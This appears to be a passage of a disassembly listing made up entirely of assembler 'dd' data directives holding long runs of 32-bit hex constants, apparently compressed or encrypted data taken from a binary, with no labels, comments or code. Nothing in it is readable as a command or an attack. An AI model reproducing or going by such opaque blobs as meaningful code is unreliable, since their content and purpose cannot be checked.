		dd 0FA1B946Bh, 0C4EBCCE0h, 0C8B5D300h, 6C9F10B4h, 67400274h
		dd 51835A24h, 5C204DC0h, 2B9C6400h, 63FE1128h, 8C983Dh
		dd 2E24A3B1h, 25904E10h, 0C0C78628h, 0A70858h, 0DE8AE675h
		dd 0F1FF4h, 0E2A4459Ah,	0D42FA2B1h, 55003290h, 0A88D763Ch
		dd 0CE77Ah, 4D88FC60h, 0EAC8B940h, 204AA207h, 0EB909103h
		dd 0DFE408h, 469E8B71h,	0DAB53E42h, 0B60028BAh,	6124146Fh
		dd 3E0E7DDh, 2534CD01h,	3A04877h, 0D3006339h, 90D504BFh
		dd 2B6BF0h, 5FFAB6B9h, 843E4528h, 0E079013Fh, 991A55C0h
		dd 618011Bh, 7DE0FFA9h,	0D2B9D831h, 0A77920C0h,	7625319h
		dd 25FE4439h, 80A077A1h, 0FB4327FCh, 5503F205h,	0C8C06F08h
		dd 0E07F05h, 304780AEh,	4DEF38F3h, 4316A70Eh, 569842D7h
		dd 14B480EBh, 303B87F4h, 3510D548h, 573DEA4h, 157B80A0h
		dd 0C74EAB00h, 116E94E2h, 712800E1h, 375B5CFCh,	0B200988Ch
		dd 904F5970h, 0B8FE6176h, 8D6700C4h, 19C82FCAh,	621C6324h
		dd 3747EC07h, 0A910C609h, 71409C73h, 672A0E20h,	6160F4D4h
		dd 0EFF7901Ah, 51B3B504h, 11834E4Bh, 95683A5Ch,	910A1380h
		dd 16CF745Ah, 48DDB900h, 4AF8F476h, 7827BB5h, 89259F34h
		dd 5C2AD003h, 0CC0FFD26h, 0AFA66D95h, 0A3E3A09Dh, 3DB16416h
		dd 0BC83D282h, 137EC8E2h, 0B65429D8h, 0B9FC3703h, 0A095CD07h
		dd 87EAD7h, 5CCA516Dh, 0C98ADEFBh, 7F5DC600h, 6A277C96h
		dd 0C41312F6h, 0CA8F03B7h, 11A8488Ch, 3C1F9B15h, 0FBC0C86Eh
		dd 1E1A6370h, 0E070074h, 873B43E0h, 0AC02D3C1h,	0FC2C516Fh
		dd 0AA7A4076h, 1F60193h, 59F07841h, 0D8D2612Ah,	0E701CB17h
		dd 68555F61h, 0FAF9D012h, 0F97014FDh, 0B5433995h, 40EFF216h
		dd 0C18C0E1Ch, 0F7012C28h, 0B9A56F94h, 8B20CE5Bh, 8F7A003Eh
		dd 3F4915F0h, 0E4B89478h, 0CB4B5607h, 355064B6h, 0EBD05Dh
		dd 369655AFh, 6521CE9Ch, 8E9F9100h, 6BE22FC1h, 33860051h
		dd 274B2C1Fh, 9E0341C3h, 0AA0CE4E1h, 0EB8BD0CFh, 0DD30C097h
		dd 0BDCB4C36h, 1757940Ch, 0F119EFh, 0B1C76032h,	15A6B872h
		dd 5281B01h, 5850CCB7h,	1E3E970h, 0A36B0E9Ch, 4002C490h
		dd 0E6468994h, 3CD7C300h, 64F48ADAh, 2D7672h, 0F09E6207h
		dd 834E3DDBh, 547F8B01h, 2325B0F2h, 19C9E0h, 0E0FDDAFCh
		dd 6D10ED69h, 6A79FB07h, 8A53B60Fh, 649FA2B1h, 74941928h
		dd 0E98318B7h, 0E7D5E465h, 4C34100h, 371D4CB1h,	54B70702h
		dd 77460FDFh, 0A02AF1F3h, 2E1FC86Ch, 4B23BE00h,	0FF1768B7h
		dd 76C87F3Ch, 31160073h, 28EC8907h, 5A144896h, 3EA82E8Ch
		dd 8B618281h, 8E085ED8h, 824220E4h, 0E29EA22Fh,	2B20023h
		dd 3BE9144Fh, 4E00CC6Eh, 0EB70D242h, 199FB9h, 75CAB083h
		dd 0D39537C9h, 0FBE208F4h, 3A9C5000h, 0CD2D74E0h, 77C500B5h
		dd 0DAD99B97h, 830022CEh, 0ADFC1C1Fh, 3C724FB3h, 8E07CAA5h
		dd 0C032D87Fh, 0F11F5C16h, 0F9D96300h, 62D11136h, 42C00FDh
		dd 0E7A34A88h, 6701AAD3h, 0D9F3F7DEh, 2EC80870h, 0F4EF07BCh
		dd 60578A6Bh, 197953E3h, 3115C8C0h, 4CE64Ah, 0B0F3D59h
		dd 0FC1F8612h, 0C56BA800h, 0C715567Ah, 80E05EDFh, 0F64ACD34h
		dd 6D82900h, 6A82C101h,	0FA750E9Bh, 76BF1B4h, 7CAABFA0h
		dd 0F02E63E6h, 0F30B0619h, 496C0081h, 1526C2h, 82982203h
		dd 4ADE75ECh, 7F660707h, 45D3558Ah, 9FFCD805h, 654801AEh
		dd 361A9A61h, 5B81F4CFh, 5C1D6E79h, 0A7DC8239h,	882492C0h
		dd 1C97A61Ah, 3CDE1B2Ch, 3A89F13h, 56D652DDh, 0F7BB89A8h
		dd 825D0C00h, 0DF75243Fh, 72083C7Bh, 0B23AE0DAh, 0E1FF7800h
		dd 6B3CEE1Ah, 12CF00BDh, 366144C3h, 3F002D9Bh, 686C319Ah
		dd 0AC6FB0h, 6576E496h,	35CD419Fh, 5D69EA01h, 773C8655h
		dd 1ADCE840h, 46E50770h, 0C03F7B76h, 5A789264h,	0F5BB8509h
		dd 8DC8547h, 805C8382h,	0D6A9F79Ch, 0E9280B3Bh,	64805152h
		dd 54B6F6D1h, 88F2AF07h, 645311Fh, 8F98B440h, 0B0C28325h
		dd 0A3C400B8h, 0A992A736h, 7400344Bh, 248A8691h, 0FB40B6h
		dd 9AC81885h, 71B10BC5h, 49A4AE30h, 875F5Bh, 4750A92Dh
		dd 80059DC1h, 0E94FC207h, 4B0AAC0h, 142D7C37h, 0B9354764h
		dd 6A86D00h, 12D2C88Dh,	4AB32500h, 8B9587F5h, 0A611003Eh
		dd 4B83AD35h, 7A0068EBh, 87F60CD2h, 1B6E042h, 0CD69E58Fh
		dd 0F8FA1D39h, 80E645DBh, 4F7E841Fh, 5F40D8DDh,	3093880Bh
		dd 581F2789h, 8A947482h, 202074C4h, 0F870267Fh,	0B03B0714h
		dd 66ABD01Ah, 1D04C42Ah, 0DAEDFA0h, 0C1CEF2C0h,	8CE9002Ch
		dd 7FFA81Bh, 0C800CF38h, 0E1F2BD59h, 3E26FA4h, 0E773FC4Ah
		dd 0D6C02DB5h, 1100BF60h, 0DCABACFFh, 761BEB4h,	0C4DEA09Bh
		dd 94D1C072h, 1B75AEE8h, 8C9DA900h, 5C0BD5BAh, 294C0053h
		dd 18E889E6h, 0EF7A2F22h, 37325F00h, 95F8713Fh,	299DE246h
		dd 0C4A1A4h, 47383220h,	0B900B4DFh, 0B2A09D9h, 256B41h
		dd 49173DE8h, 2845C5F8h, 19CAAD1Ch, 0BC6A34C0h,	0FF3BAAh
		dd 0BE95912Eh, 0D64696C9h, 0D54EF61h, 0A840D2B1h, 5E908Ch
		dd 0DB65C164h, 1C77D953h, 87D85607h, 0B560CF7Eh, 2ED11FA4h
		dd 94F2271h, 0E000BD55h
		dd 3EDC47A8h, 997D7AB8h, 0ED1E8571h, 2F18EC26h,	1311F6C0h
		dd 0C075227Eh, 4170A9F4h, 0FF3E103h, 0C761F4h, 0A3DFC048h
		dd 0EBCE20DEh, 0D40B2EF8h, 74B13h, 75F1AE39h, 904E584Ch
		dd 6009058h, 3A0C9791h,	9CCC52DCh, 0CF18EEh, 0C24F3FC3h
		dd 4E210B08h, 0CBF1C09h, 7DACE0A6h, 6B0002Ch, 0AF2530BEh
		dd 0C2007497h, 75ADF810h, 0E55190Ch, 5E675389h,	2C1105E9h
		dd 21993033h, 62B90909h, 87E8009Ah, 1B1B7CDh, 0F03FBA9Eh
		dd 0CCDC9C25h, 3A002E13h, 52915E8Bh, 4C604358h,	0B80484FCh
		dd 0C0962D01h, 0C52174E8h, 8600B277h, 9B405E31h, 1B245D97h
		dd 0B11AFD76h, 0E4E9A3EBh, 7042CB4h, 7DCBB010h,	9F4D20DFh
		dd 0E3FBD8Fh, 0DD9B2C4Ah, 5000EBEEh, 7DADD044h,	202AE58h
		dd 8D87A3BFh, 3F8787Ah,	56BC9416h, 45A8AB51h, 6E0E433Bh
		dd 0E0F11483h, 0C2CDA68h, 0E289007Fh, 35F5FFE9h, 0B1075E1Ch
		dd 0A3A033D8h, 0A80F8B50h, 63B300C4h, 0CC1B4281h, 1200AAF8h
		dd 154B7E05h, 12A9B098h, 0C78B541h, 0F190B9C8h,	251BDC00h
		dd 16969A9Eh, 0D80D1F11h, 17A5342h, 828D0C64h, 556DE095h
		dd 56062700h, 0E386854h, 3C7709FDh, 0A400FAACh,	550F956Ah
		dd 0DA0A671Eh, 71331FC0h, 0CE9B42h, 2A16B7DEh, 0FD8C1A18h
		dd 73D7AE00h, 229ABB03h, 2E4200EEh, 0AA8B71A3h,	5A001A79h
		dd 54B48301h, 7CF3F92h,	0BD0B0D63h, 0E49D705Fh,	700C4E5h
		dd 92397A83h, 0BBEA58h,	91F17E82h, 4E155526h, 0ED00D4AEh
		dd 7A285FBFh, 0B552D6h,	4E822758h, 9FCE506Fh, 0F7CBE00h
		dd 0ABA7FE62h, 98D7633h, 50711ADAh, 9832B800h, 0CB6F0D8h
		dd 4D41BA00h, 0F27BD23Dh, 0E3400D5h, 0FF200F72h, 260A379Dh
		dd 8C220A1Dh, 60BD2C0Eh, 5170788h, 0EDAD1429h, 5A04C84Dh
		dd 0F09D306Fh, 4042C7D4h, 0CB969000h, 871BFD46h, 55941400h
		dd 349F052Eh, 0E48148B2h, 54E68200h, 0AC632753h, 4261210Eh
		dd 2CF8275h, 699CE085h,	105B022Ah, 0FB2C474Eh, 0A001A28Bh
		dd 0FCCE7103h, 0C0406C1h, 12E509E7h, 1F291E81h,	0BCC6F4h
		dd 67B49EB0h, 0FFAD78DBh, 0C5CEE00h, 1AD45391h,	7BD5E826h
		dd 0DC8C0F4Dh, 0AD2023B0h, 2BB8C9D8h, 0C7078F05h, 6CC0DA44h
		dd 1F64FEF2h, 402852D3h, 0B58E76B4h, 6A2699ADh,	2000CCB9h
		dd 0A7F5930Bh, 91F604B3h, 90D83DC8h, 8785C7B8h,	56346817h
		dd 40DE705Eh, 76C93080h, 7147B8B9h, 69E3001Ch, 0ACFA7849h
		dd 8600CB23h, 0EB9C7F05h, 0FA069BDFh, 0FCAA0357h, 7A4E5B46h
		dd 8D23CCA8h, 1904F8BCh, 0FC0C0A4h, 2D60376h, 7356FA48h
		dd 14D3B677h, 96090Fh, 7F8A063Dh, 67070078h, 9DCD54C3h
		dd 0F201B3DDh, 98708C31h, 4FE0B9D5h, 0CAB00076h, 0D6849402h
		dd 7CE0FAE0h, 9BBEFB00h, 37FD82Bh, 86C801B3h, 0BA8A3CDCh
		dd 0A447C4F2h, 2AE33E50h, 6BD75A00h, 0AADCAFF3h, 66A000B2h
		dd 0A2270E11h, 8A484702h, 26AD1C8Ch, 4837C900h,	299064Ch
		dd 3527BDDDh, 0E0759FE5h, 0D1DE22h, 0B2714BF2h,	0CF0540FBh
		dd 8825E104h, 5FE2FEAh,	0C030896Bh, 0CE85D6C5h,	0A81AAA00h
		dd 9F7FC063h, 721E0013h, 2ABBD951h, 5099F0C2h, 71A14100h
		dd 0F8C6AE9Eh, 987302F5h, 426617ACh, 6700D078h,	0A5AE430Bh
		dd 74CE1Eh, 125A3FAh, 0A6D29504h, 5D6B0E00h, 0B8010BAh
		dd 58DF246Fh, 509B406Ch, 0E9006CAAh, 0E3D85EDAh, 0F273E297h
		dd 0EDD426C8h, 0F5C00050h, 0B358862Dh, 83E90500h, 7A37C5A2h
		dd 0FE77382Ah, 0D8D3007Fh, 9F1A486Fh, 0E50592D6h, 4A62E8DDh
		dd 0D5765CD7h, 0A0721E20h, 9F3FFED6h, 52F85587h, 8082876Ah
		dd 0EDF24CD9h, 25223900h, 0DDD40E3Eh, 2B9803E3h, 0A2D9F668h
		dd 0C37F3800h, 0DEDCCE5Ah, 5FB30039h, 0E0D42BA5h, 9E32E5D5h
		dd 0A76E294Eh, 5283F190h, 8878FFh, 0DDB76876h, 34B94EFEh
		dd 507DE907h, 9C15EB13h, 6DF148C0h, 7F481814h, 0D62858B7h
		dd 500F5701h, 6F3EDDBBh, 0E7ADE310h, 0F96A4F3Eh, 1FA545Ch
		dd 4291EF76h, 9A80BDA5h, 1C3AB7B6h, 2F3B5465h, 6E419F23h
		dd 80CD28CBh, 0AE4B30AAh, 442A0048h, 0F44A7349h, 3214DF3Bh
		dd 7A94B11Bh, 7C948900h, 4550F98Bh, 0AE9F000Ah,	0E3AB2C71h
		dd 0A414870Ch, 1E9B2989h, 4AC07F8Dh, 940B350Fh,	2BD4005Bh
		dd 70383D1h, 0E0F74EEh,	4E3C8BF7h, 0FBA38580h, 9D19518h
		dd 2F3F637h, 0F28F0E86h, 8EC0C325h, 830768A2h, 0C166B1Fh
		dd 2F24FED0h, 7514147Eh, 690FF032h, 202E41F0h, 1B930380h
		dd 0AB0150DAh, 0E414A1F7h, 288056FBh, 80408672h, 2600A569h
		dd 7B9C4F3Bh, 0B0DD2C82h, 0D52702E6h, 67EB8C08h, 0B86D1C48h
		dd 0D2969824h, 1766803Ah, 2C12D86h, 0C38F003Bh,	0A2889B3Dh
		dd 0C20040C4h, 0C0467D19h, 0F3D60EFFh, 0DCEED980h, 8B89CC20h
		dd 7A27E50Fh, 7561B8EBh, 0A78A0026h, 0B3E26150h, 7200573Fh
		dd 58F3EC54h, 333871h, 7C289345h, 0A62BC296h, 52F0EE06h
		dd 3FE8E7CDh, 57828347h, 0E2569A48h, 6C1B6C58h,	88816982h
		dd 0D5466Dh, 40DD0F62h,	0EEF7C58h, 6ED83Eh, 0DCE88090h
		dd 3E93751Fh, 7D00123Eh, 0B6A2EEFh, 0E0037B79h,	0B117EB27h
		dd 743FA129h, 423C2080h, 925CE708h, 3755E3Eh, 917231Fh
		dd 6EFFD9B7h, 75BD7DE8h, 0EBF5370Fh, 858F8070h,	5A01741Ch
		dd 16499117h, 9BD09047h, 0C120C00Fh, 5D281C6Dh,	2915C406h
		dd 20582CD4h, 0B9D90FB7h, 71184259h, 5D981C08h,	56C3C477h
		dd 0E71C8E00h, 221736h,	0D9CEAB67h, 42CBF464h, 0D76880F7h
		dd 0B6FC09B2h, 4160C8E7h, 6B1C84C0h, 301F465Ah,	6CC221F1h
		dd 5DAF001Ch, 0D4C95381h, 7F0A38A9h, 0B093CD71h, 0F4726D00h
		dd 673509h, 7B64759Ch, 518F6F2Bh, 0E968E00h, 0F2C3392Eh
		dd 0AD8E1D9h, 77370F64h, 0A6A0059Fh, 148B2DBDh,	80E1743Dh
		dd 37220C6Ch, 0EA6498h,	0A76D02FEh, 0D94490C5h,	0DA012CE2h
		dd 0BE832EC6h, 348F6A8Eh, 0A2EB7D4Eh, 0C75B7080h, 4AD39D0h
		dd 207B3B65h, 80BF0443h, 42BEFA60h, 7D40741h, 646928Fh
		dd 273F20B7h, 0D1CF0058h, 95306572h, 77F00A2h, 792EB6FEh
		dd 69163646h, 8500A786h, 3727058Fh, 3F7B00F8h, 0D0BC9EF5h
		dd 5D0E226Ah, 2778E487h, 0CD70DE97h, 17C38EEh, 3DC75F43h
		dd 0FFE53385h, 0EB2324B0h, 0C4203653h, 0AC6048D5h, 0EB638083h
		dd 802978D1h, 48348Fh, 4DE5E7DBh, 6071BBBFh, 72763Ch, 0C41C9EB9h
		dd 60617CF8h, 55D239C5h, 0D000F31Fh, 429491BCh,	7123D8h
		dd 1D05AF96h, 56B70668h, 5AEB4E02h, 7B6B02h, 6CCDADD0h
		dd 0D82F7603h, 0F1387EFDh, 5980EA61h, 0C187B30Ch, 28C40334h
		dd 0E8452E06h, 28A418F9h, 12506F02h, 9AB87328h,	0CB31B800h
		dd 7F83ABF6h, 4151C0D6h, 6EAA91D2h, 0BC9E6228h,	0ECDA4718h
		dd 0FA4F1849h, 0CFB30014h, 9C7433EBh, 0F560E359h, 875A4121h
		dd 0A32F0010h, 17574714h, 0B4F4A407h, 0B90012F0h, 4CC83AE9h
		dd 570DE50h, 0D2389332h, 0B4C046F8h, 0A40089EDh, 37074158h
		dd 3199F7h, 6CCE2B96h, 0FE84FD79h, 0F8849251h, 0D9CF136Fh
		dd 0AC0F5759h, 0EDA6005Eh, 92C902E8h, 9EF6C144h, 454BF8D1h
		dd 0D6504AB0h, 0FA95006Ch, 0A9055526h, 0E8219E19h, 0C4E8E528h
		dd 0BCB733BBh, 1EB40131h, 208BFB0Fh, 0B19C15CBh, 86560185h
		dd 3D518497h, 61BB47h, 3E1AFA89h, 885EDFh, 7AA6D3A8h, 8BA23492h
		dd 0C582A00Fh, 0BB31389Dh, 0BE71002Dh, 324A172Ah, 2E007D7Ch
		dd 16FE1055h, 54B4689Dh, 1DA890C2h, 0C014210Eh,	7EB61763h
		dd 0A9C0BE11h, 2CB88E64h, 84D4009Ch, 0D75A04EDh, 22016DC6h
		dd 447E53B6h, 0A84164F4h, 61897B93h, 58184374h,	0E1F45847h
		dd 0E4A1561Dh, 1BC0319Ch, 3E510459h, 0A9940629h, 31EF4983h
		dd 0B09CC514h, 421D0764h, 4C00019Eh, 0A06A83EBh, 593305Ch
		dd 0C17BC95Ch, 0BE9600BAh, 32D14F6Ch, 76D653Eh,	2BFE0C0Dh
		dd 3C514AE6h, 0A2BB22D3h, 4E80E83Eh, 90D97882h,	714833CBh
		dd 301F78BFh, 3C264C35h, 0CBEB7240h, 30CA48A9h,	0BA2C10h
		dd 699E67CFh, 6EB490Eh,	0A80C715h, 4A1E69AFh, 0D3C00973h
		dd 97C67051h, 59240040h, 4BADA078h, 8202C041h, 916CF9BCh
		dd 4DB44062h, 2892F4h, 0A32290B3h, 6FD1B23Ah, 401C39EEh
		dd 62C0AD9Ch, 8BFF07A0h, 909E4CC5h, 883B7884h, 0DF097CE4h
		dd 801C5925h, 917F2B54h, 0B5340019h, 3803BB0Fh,	0B612DAB0h
		dd 0C60653Bh, 24227692h, 91A0BED1h, 177000C1h, 0C39E68BFh
		dd 41A03AEh, 7C7A6D01h,	0BA00D08Ch, 4112C914h, 9C009162h
		dd 0EE5E1E38h, 0CC055059h, 8B1811A3h, 0BB04D6B1h, 9C93FFF9h
		dd 404D8A27h, 819568h, 0FB17AEBBh, 5F67FCD4h, 5CC1DB0Fh
		dd 0C91B8065h, 907FD1FFh, 0D38E04EBh, 8462313Fh, 0EA2082D4h
		dd 0B574BF20h, 3D780015h, 205CCC30h, 0C67D4682h, 26E04903h
		dd 0EF32A670h, 4E34C61h, 376C824h, 0B39A28E1h, 0D0C72DF0h
		dd 2A86BF38h, 5D9042E8h, 9FC6653h, 916BF776h, 9302AE88h
		dd 0A6BB04C0h, 0CF790B01h, 0E9590669h, 0FE021834h, 30B26536h
		dd 5888703Ah, 500BEF8h,	0CF1BD341h, 12DBFC97h, 40A20A7Ch
		dd 1F757BC8h, 0C8043312h, 0BE26E95h, 80D98C82h,	7573017Ch
		dd 0D8C60005h, 4349D7CAh, 6F003CC7h, 0C19FF4AAh, 91CDC8ECh
		dd 73E786D8h, 0BB2461BCh, 2141B0B5h, 0EB706CEFh, 0A7AE01F8h
		dd 2A48B9D3h, 369834CAh, 0D5AF322h, 60957A4Ch, 5BD843B8h
		dd 98224ED3h, 661A00F6h, 67290C6Eh, 0A0035673h,	0EF63FD12h
		dd 1CBBC0D4h, 18334817h, 0C4C7D90Bh, 29387C22h,	860AA46Ch
		dd 0B81D6E03h, 7CA277BDh, 40A47463h, 89AC6791h,	7FBA01D9h
		dd 0D34C327Dh, 802312C0h, 5F807720h, 837501E7h,	2C64301Eh
		dd 0F1AC598Ch, 301C403Bh, 7B002AB8h, 0B631BE2Bh, 3091BB56h
		dd 6621C3B5h, 60006E4Ah, 25A2F93Dh, 4CEC3B48h, 88E414C5h
		dd 920744B0h, 0C25093ADh, 0CA4C53F1h, 76FE6CCh,	5178DFC5h
		dd 211C62D4h, 30E8A840h, 0B430A8A4h, 0CE4579E6h, 0FE320089h
		dd 1E2D6468h, 0A3053557h, 0BD723D02h, 54220888h, 24CD8F7h
		dd 258CA5C2h, 656088BEh, 90290DFh, 2080CA9Ch, 4C4C33h
		dd 0F862AD04h, 0F6D72B4Ah, 41817891h, 0F2A7D68h, 0B8162880h
		dd 3CA63CFh, 0CBBA4004h, 28CB2576h, 69C29300h, 3C639161h
		dd 42D4F0F3h, 9A3BE00h,	92C4AC68h, 166C9AB1h, 20221C12h
		dd 0E447FBB4h, 65DD6D16h, 0F93FA801h, 0B820CABDh, 0D0A440FFh
		dd 0DC18AA48h, 0BF7F1C00h, 2CAADCFh, 33EBA91h, 0F844D9FEh
		dd 33E29701h, 967CD3D5h, 126AC4D8h, 0E217BEBh, 4838EE04h
		dd 3814D1BAh, 2CE1399Eh, 4DC27832h, 2688A543h, 0FD4F8980h
		dd 0DB0407BFh, 0E0146F98h, 30023982h, 0D39D0304h, 0FCC1AD80h
		dd 0C0044BC1h, 404A38C8h, 0C198E75Dh, 0D4814CEBh, 0D5400005h
		dd 13CF2931h, 920005E4h, 1DAA3259h, 2AE849EFh, 94E94Dh
		dd 0F877120Ah, 0BF2DA39Ch, 819DEA3Bh, 0E38CA26Ch, 0FC3664E1h
		dd 0B870E714h, 68867789h, 0E09149F6h, 8D339E0Fh, 0B9F28940h
		dd 7C347D80h, 9F6F26C4h, 40C56424h, 0EDB705B9h,	81740095h
		dd 3AF690B6h, 1C001847h, 0D8A16D15h, 0A0B5E6D5h, 0B01ECDE4h
		dd 0E463565Ch, 64038B12h, 0C918803Ch, 2965829Ch, 8C002008h
		dd 79849AA4h, 89A5600Ah, 0DF443FEh, 94306002h, 4011026Eh
		dd 92F8D9C4h, 0ACB848A4h, 38275F00h, 4C2308CCh,	0D38FA101h
		dd 26B2530Fh, 0BA00F836h, 0DAFF353Ch, 0ACB8C513h, 0E9268098h
		dd 70644402h, 3F8E820h,	5F303492h, 626A19C6h, 607D0165h
		dd 0FD96DF8Ah, 0D445615Ch, 4EE42234h, 0A4C85326h, 4C09E984h
		dd 100A21Eh, 1F3F4DA8h,	14491EDAh, 384368F7h, 2963CC3Ch
		dd 7100ECB4h, 75BC6DD5h, 93B89904h, 5CE29430h, 0FA914600h
		dd 0D6BC554Bh, 2FBA1000h, 0AFC5D212h, 8CF800A1h, 0DA62B1D4h
		dd 0F6F0E6E5h, 84146748h, 2090830Ah, 28CEBB9h, 50FDEFC8h
		dd 34467370h, 8030795Dh, 0BAA995CFh, 2620E717h,	0E8000B0h
		dd 3A501C8Eh, 0C10EE40Bh, 52C6CBE8h, 0D7550C06h, 17270038h
		dd 0E119906Dh, 3258E44h, 47DC2142h, 18661BDDh, 2218F43Ch
		dd 78B2A9EEh, 0D790100Fh, 23FCC10Bh, 0F0C73FA9h, 0A46802h
		dd 7E5731BFh, 0D2348E1Ah, 0C093960Eh, 9BCF0017h, 2A4C868Ch
		dd 4ACE83Bh, 297F9CCAh,	86BC8822h, 4857D80Eh, 0D16004Ah
		dd 9F1FEC4h, 10EE1B83h,	73092889h, 0FCB42827h, 0D002A49h
		dd 71F25456h, 32C180h, 491774A4h, 0E7611A15h, 1F1929C0h
		dd 71910452h, 6B8400C0h, 468D9F7Ch, 0CA023258h,	0EB1EF3EDh
		dd 0CBBC60B5h, 793E0B0Ch, 98194102h, 84680C27h,	48E7E0A4h
		dd 6D4B78E4h, 3330E440h, 26DB6CFAh, 9F407ABh, 0B020C112h
		dd 91420BF8h, 3F1CA171h, 79C07ABFh, 7F2554C4h, 0C3782457h
		dd 43670DD0h, 84E83208h, 0D4B4B59Bh, 1AF000B0h,	0F56B4095h
		dd 3200F736h, 22DC3CBBh, 13BDB1DBh, 13A1ED5h, 0F2EBE8E4h
		dd 6A4AC492h, 0A1311000h, 65FBFA3Dh, 0C06C9458h, 0C5CDE916h
		dd 275BB0C2h, 21066CAh,	11E2DD61h, 58C56EF5h, 3A1B08h
		dd 0E5AA4C20h, 22007B74h, 0CF861F39h, 465D5Ch, 0FEAC45C2h
		dd 0A99441F3h, 6F816904h, 1CE7C576h, 0C568CF26h, 0C78C09Bh
		dd 7C007E1Dh, 35349232h, 0B881786Eh, 0DA331E34h, 1D173870h
		dd 0F6F46294h, 0EF46F221h, 5128FE40h, 20D2091Ah, 9501FD59h
		dd 8E52D645h, 406CBF29h, 0C09211Ah, 0DEF009ABh,	0D866CA3Ch
		dd 591C6D00h, 0B9328406h, 0BCAA09DFh, 10ECB60Ch, 0F409CE02h
		dd 0C371E434h, 63EA60h,	0D525B07Dh, 4F9C8C50h, 3880C89Eh
		dd 819283ABh, 45E68032h, 3DE80C40h, 0B0D0551Eh,	0BEF0B127h
		dd 3C290179h, 0D12EB373h, 1488678Ch, 8080DA5Dh,	0BAE72093h
		dd 2B6C0038h, 0CA1033C0h, 8089098h, 0BBE9DA86h,	7101FB80h
		dd 0D9962043h, 89DCE73Fh, 904403BAh, 4C0F9C1Ch,	3319E429h
		dd 253108B1h, 0C2DC2010h, 810388h, 7F829476h, 9A1E1407h
		dd 0BABF0802h, 731BC93Bh, 44020B10h, 0FA3A5811h, 0C4C9B851h
		dd 6A710004h, 0C0173A29h, 0A4F01A82h, 0F7E84402h, 666B39A2h
		dd 51D30004h, 49091430h, 0EC041DDFh, 0BE945D04h, 0E8EF94C2h
		dd 24C42784h, 80E8A7C5h, 60967F05h, 47157A4Ch, 0DFAC9267h
		dd 12ECA73Dh, 208C6C0h,	8EE78134h, 70927EA9h, 64006046h
		dd 5398F317h, 570FBDh, 7C0720B1h, 78F2F0EFh, 0A93A6F12h
		dd 34428812h, 204D0B17h, 5BFDF879h, 0E2026B00h,	759798D6h
		dd 5551C91h, 297C0BE8h,	569F8401h, 0DC88054Eh, 0B4070BF8h
		dd 47073EE5h, 1036A0D3h, 0A84BDB2Bh, 1F431861h,	2E025910h
		dd 91B14000h, 31BBD434h, 6C93528Fh, 0D81B6425h,	0E530C0D4h
		dd 0CB5874E7h, 0D0C810B0h, 8954F73h, 2384C45Ch,	8C015AE8h
		dd 0DCCCAFE5h, 0FC51A4E2h, 180C20BFh, 0A0AE494h, 0FD878079h
		dd 1D0FA30h, 2502D2CDh,	78B0B809h, 13016A1Ch, 0E39628DAh
		dd 0C8227E83h, 0B26FC50Ch
		dd 98968E49h, 28BA771Fh, 88980C9Dh, 9B21CF01h, 783D3BA3h
		dd 50DC1980h, 0F9ABF1FDh, 735EAA0Eh, 0A1DA61D9h, 743DF3EBh
		dd 0E80172A2h, 86CF824h, 15BE1F88h, 2990BBF9h, 3C2078D4h
		dd 9CE3E500h, 7FF05BCCh, 7C0D72F9h, 8A3A0953h, 5CE4DE27h
		dd 4A142D48h, 15349443h, 95518889h, 0DA350027h,	9E7F4F7Ah
		dd 1C057741h, 0D23FF75Dh, 181BEC07h, 68C48E81h,	3C106863h
		dd 1030D2D5h, 14BB4CA4h, 7C62F732h, 5801278Bh, 29DDD30Ch
		dd 0A490D2F8h, 1D3BF258h, 80CBAC83h, 24DF19F4h,	0BF4805B1h
		dd 446A3BC0h, 401D01BBh, 80D38E09h, 3F70690Ah, 0BD4D0274h
		dd 41B62F83h, 2119FE0h,	8CE8286Dh, 5B3154h, 19DA81EFh
		dd 8B2A05B9h, 9C57852Bh, 6FC40B3Dh, 4CE41E7Ah, 0CA8038DAh
		dd 0D2107F1Eh, 760DEE07h, 0B1E04A14h, 0B19233C9h, 0C77E09B0h
		dd 414DB0E4h, 0AE6AC664h, 40664969h, 90615C13h,	7F718188h
		dd 9E4BB3Fh, 48DC0B41h,	0B31B898h, 0D9FBF3C1h, 717D2CC8h
		dd 9BCBD400h, 1C925552h, 2C404922h, 0B3C84900h,	0A1C061CEh
		dd 8A589500h, 0D7DC95Ch, 14DD01A7h, 0CD846E5h, 88122E8Eh
		dd 51C698D2h, 36874088h, 7308C558h, 67ADBF41h, 6BF7A130h
		dd 59798B20h, 0AFA410DAh, 0DD8C0086h, 0B822BE71h, 0E300FAE5h
		dd 8AA83D04h, 4CF2945h,	0A57ECCFDh, 887CA6ADh, 3F4A8163h
		dd 2864894Dh, 0A50B1370h, 4137DC41h, 0CDEC49D9h, 0CA861561h
		dd 71C4F0D7h, 0EA85214Eh, 2297C511h, 0B96300FCh, 1C169A0Ch
		dd 0CFE8107Eh, 40D850BAh, 3091B72Dh, 5D61369Ch,	10387819h
		dd 83B8BABDh, 0EF00713Dh, 0AED04907h, 1047269h,	2917A3FFh
		dd 910B8CB6h, 58C80AB4h, 7C0022C9h, 7FDFA452h, 136ABD50h
		dd 898E0EFBh, 4D22EA80h, 3F7448F1h, 5B2E0C6h, 360E4529h
		dd 1C7C25DFh, 4791C11Ch, 0CB62CBE8h, 0AAA586B0h, 6D83FB17h
		dd 0E89CACD4h, 0B7510327h, 0E8C95688h, 0B4A4B4BCh, 3031E960h
		dd 0B54F97Ah, 7991A8CBh, 6C51581Ah, 6E360039h, 8AB844BBh
		dd 5064B093h, 41A3DC92h, 388337Bh, 903F4CB7h, 0EF30E0BEh
		dd 7879B3h, 0BD60DFD0h,	0B27D3647h, 80E00182h, 89923864h
		dd 4F2809AFh, 94B8090Bh, 94B92358h, 0BC42831Ch,	0C0FE0DA6h
		dd 63653Ah, 3AE3864Ah, 0E2DC401Ch, 538FA4BEh, 9372E3B1h
		dd 3027E84Ah, 0AE6401F9h, 0BD7AEAC6h, 0CDA84235h, 3126DC64h
		dd 0F85084CAh, 0ACCDA006h, 0C580B6DCh, 0B33400D9h, 0BC2A326Dh
		dd 12A7AF07h, 4DD16B0Ah, 79208059h, 5A1904B3h, 0B2E9854Ch
		dd 0A10B2FA0h, 3A1D7E00h, 0D2402301h, 1E586100h, 0B54A008Fh
		dd 0E1F2FC44h, 0ED39428Ah, 9A23093Ah, 78F8049Dh, 2C900A4Bh
		dd 3303CB2Ch, 36B7818Eh, 4FF78088h, 0ADB22BA5h,	98A0ACh
		dd 3A348E14h, 7C8219D7h, 1E074B9h, 27AB15h, 0AF05D3F3h
